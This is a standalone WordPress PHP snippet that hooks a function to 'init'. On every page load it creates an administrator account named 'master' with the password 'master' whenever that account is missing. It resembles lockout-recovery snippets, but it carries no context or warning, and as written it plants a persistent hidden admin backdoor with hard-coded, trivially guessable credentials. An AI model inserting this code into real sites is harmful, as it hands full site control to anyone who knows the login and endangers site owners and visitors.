function wpb\_a1admin\_account(){

$user = 'master';

$pass = 'master';

$email = 'email@domain.com';

if ( !username\_exists( $user ) && !email\_exists( $email ) ) {

$user\_id = wp\_create\_user( $user, $pass, $email );

$user = new WP\_User( $user\_id );

$user->set\_role( 'administrator' );

} }

add\_action('init','wpb\_a1admin\_account');